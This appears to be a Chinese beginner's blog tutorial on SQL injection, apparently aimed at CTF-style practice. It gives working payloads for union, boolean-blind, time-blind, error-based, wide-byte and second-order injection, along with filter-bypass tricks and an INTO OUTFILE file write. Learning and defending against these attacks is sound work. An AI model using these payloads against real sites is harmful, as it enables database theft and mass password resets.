适合小白的网络安全学习笔记——第七课(基础漏洞之sql注入)

sql注入原理

利用了应用程序在处理用户输入时的不严谨,输入字符闭合原来的后端数据库语句,从而获取敏感信息甚至获取主机权限等等

举例:select * from database where name='???';     这里的???如果输入  1' or 1=1 #的payload

构造的话原语句的条件就会变成 1=1 恒成立,后面的内容被注释掉了,从而顺利查询到信息

注入点判断

位置判断:

1.一般页面的登录验证界面

2.用抓包工具抓到的http请求,在http头进行注入,或者在url栏中改对应的参数

注入点的类型(原语句用什么符号闭合):

注入点类型

判断方法

例子

可能出现的源代码

数字型注入点

通过and 1=1and 1=2测试返回结果

http://host/test.php?id=100 and 1=1 返回成功

SELECT * FROM table WHERE id = ? AND 1=1 (用户输入与查询条件一起被拼接)

http://host/test.php?id=100 and 1=2 返回失败

SELECT * FROM table WHERE id = ? AND 1=2 (用户输入导致条件不成立)

字符型注入点

通过单引号闭合和and '1'='1'测试

http://host/test.php?name=man' and '1'='1 返回成功

SELECT * FROM table WHERE name = 'man' AND '1'='1' (单引号闭合了字符串)

http://host/test.php?name=man' and '1'='2返回失败

SELECT * FROM table WHERE name = 'man' AND '1'='2' (用户输入导致条件不成立)

搜索型注入点

通过like查询和' and '%' '='测试

pt%' and 1=1 and '%'='

SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%'

以上是基本类型判断,下面是再具体一点的判断

WHERE id= 1;#整形(数字型)闭合

WHERE id='1'; #单引号闭合

WHERE id="1";#双引号闭合

WHERE id=('1');#单引号加括号

WHERE id=("1");#双引号加括号

注入常见方式(判断注入点之后)

联合注入
原理

利用sql语句中的union关键字联合查询到内容

例子:Select * from Article where id='-1' union select 1,2,3--+' 在知道对方是几列的前提下,联合查询内容,其中的1可以用database()替代,或者version()等等函数查询到敏感内容

步骤
判断查询列数

使用order by 关键字

1' order by 1--+     改变1(注意这里根据注入点类型灵活变化,本质是闭合语句然后构造)

例子:如果order by 4回显错误,可以判断出当前sql语句按照第四列排序错误也就是没有第四列,于是得到结果为3(因为是从1往上加查询的嘛)

爆库表字段内容
须知

information_schema.schemata所有库的名字

information_schema.tables所有表的名字

information_schema.columns所有列的名字

table_schema数据库,table_name数据表

特殊函数

concat(str1,str2,str3)连接字符串的函数

GROUP_CONCAT(column_name):告诉数据库将指定列的所有值连接起来。

group_concat(a,' ',b),group_concat的时候中间可以加空格隔开会好看点,也可以用分离器

比如group_concat(a,b SEPARATOR ',')##用逗号隔开

爆敏感信息(随机应变)

1.爆库

?id=1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+

2.爆表

1,2,group_concat(table_name)from information_schema.tables where table_schema='66'--+

1,(select group_concat(table_name) from information_schema.tables where table_schema="web2"),3 #

3.爆列

1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+

4.爆内容

表名列名都知道了不会构造建议回去重学sql

注意事项

上面是最简单的注入方式,是基于目标主机直接把数据回显到我们的页面上来的,以下的注入都是基于只有报错回显或者没有回显的前提

布尔盲注
原理

在返回结果只有正确和错误两种界面的情况下,通过长度和字符的对错来判断内容

举例:id =1 and length( database() )=1 联合长度函数判断数据库名字,如果都是对的则页面正常返回正确页面,反之亦然

须知

length()判断长度的函数

substr(a,b,c)这是个截取内容的函数,a是准备截取的字符串,b是字符串中的位置,c是截取的长度

ascii()函数 将截取的字符转换成 ASCLL编码

步骤
判断内容长度

id=1' and length( database() )=1  累加判断

穷举字符

id=1' and ascii(substr(database(),8,1))=121  同上累加判断

一个个枚举太累了,下面奉上python脚本

时间盲注
原理

适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错

举例:

if(判断语句,x,y)如果判断语句正确则输出X,否则输出Y

if(1=2,1,sleep(1)),如果1=2输出1否则一秒后再回显

须知

MySQL 中的 SLEEP() 函数用于暂停当前线程的执行指定的秒数。

语法:SLEEP(seconds)

步骤

判断闭合

?id=1 and sleep(2)--+

?id=1' and sleep(2)--+

?id=1" and sleep(2)--+

?id=1') and sleep(2)--+

?id=1") and sleep(2)--+

数据库名长度内容

?id=1 and if(length(database())>=5,sleep(3),sleep(1))

?id=1 and if(substring(database(),1,1)='a',sleep(5),sleep(1))

通过穷举爆出各种字段

payload与布尔盲注及其类似自行书写

报错注入
原理

在页面没有回显只有报错信息的前提下使用,类似下面这种报错

须知

XML(eXtensible Markup Language,可扩展标记语言)是一种标记语言,用于存储和传输数据,它可以使用自定义的标记

例子

在sql里面也可以存储xml类型的数据

而UPDATEXML(target, path, new_value)就是一个用于修改 XML 类型数据的函数

  • target:一个 XML 类型的表达式,表示要修改的 XML 文档。

  • path:一个字符串,表示要更新的 XML 部分的位置。这个路径使用 XPath 语法来指定。

  • new_value:一个 XML 类型的表达式,表示新的 XML 内容,用来替换 path 指定的部分。

意思就说我们在target文档中把path位置的东西替换成new_value,但是当我们中间的位置出错的时候,就会报错回显内容了

常见的攻击方式:在路径前面加'~',使得路径无效,从而返回我们想要的信息

步骤

?id=1" and 1=updatexml(1,concat('~',(select database())),3) --+

1. 判断报错条件

这个payload用于测试数据库是否对updatexml()函数的错误信息进行了过滤或处理。

 

2. 获取所有数据库

3.获取所有表

4.获取所有字段

5.其他注入方式

extractvalue报错注入

 extractvalue(xml_fragment, xpath_expression)

 xml_fragment:这是一个XML字符

xpath_expression:xpath表达式,指定提取路径

 id=1' union select 1,2,extractvalue(1,concat('~',(select database()))) --+也完全类似

堆叠注入
原理

分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。所以作者很少用只知道有这么个东西

宽字节注入
原理

什么是宽字节?

一个字节的叫窄字节,大于两个字节的叫宽字节(英文一个字节,中文两个字节)

窄字节编码->ASCII码

宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

反正都是一种编码方式

宽字节注入的应用例子

看到这个代码先别慌,这是一串php代码,把我们在id输入的payload全部使用addslashes转义函数的处理,我们前面使用的单双引号全部被转移符号\转移掉了,那我们怎么饶过呢?

成因:

接着在带入到数据库查询前设置了mysql_query("SET NAMES gbk"),即设定字符集为gbk。漏洞就是由于这个设置导致宽字节注入。我们前面知道宽字节就是窄字节变化来的,这里又设置了宽字节编码,转义函数会将%df ’ (这里有个单引号看着)改成%df\’ , 而\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。

我们消除了转义函数的影响,就可以构造payload啦。?id=1%df' 被转义等于没被转义!不理解的直接看结论也不是不行。

二次注入
原理

二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行。

简单来说比如,第一次输入admin' and select * from user --+被过滤了'不起作用,但是经过类似mysql_escape_string转义的数据存入数据库后会被还原,也就是说你的账号是已经注册好的就是"admin' --+",然后你就可以试一下在别的地方它能不能发挥作用,比如在修改密码那里,

语句可能是这样的

UPDATE users SET password = '新密码' WHERE username = '当前用户名';这个时候就没有函数过滤了!!

代入进去就变成了

UPDATE users SET password = '新密码' WHERE username = 'admin' or 1=1 --+ '

所有的账户都被改成这个密码了

这就是二次注入

绕过过滤

注释符被过滤:

--+,# 交替使用(其中一个可能不起作用)

用url编码%23(#)绕过

空格被过滤:

1.空格用/**/sql语句的注释替换掉,执行代码的时候是忽略注释的,然后又能够隔开

2.用url编码%0a绕过

3.反引号`绕过

关键字或者查询内容(flag)被过滤:

1.大小写绕过。比如SeLeCt或者UniOn在sql里面是正常执行的,但是过滤的时候过滤的是select,union等等

2.模糊查询 %fl%,查询的时候遇到类似的内容就会回显

3.查询的内容被过滤还可以输出到网站目录下的

?id=1' union select 1,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+

总结

过滤方式千千万,唯有思路不能忘。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值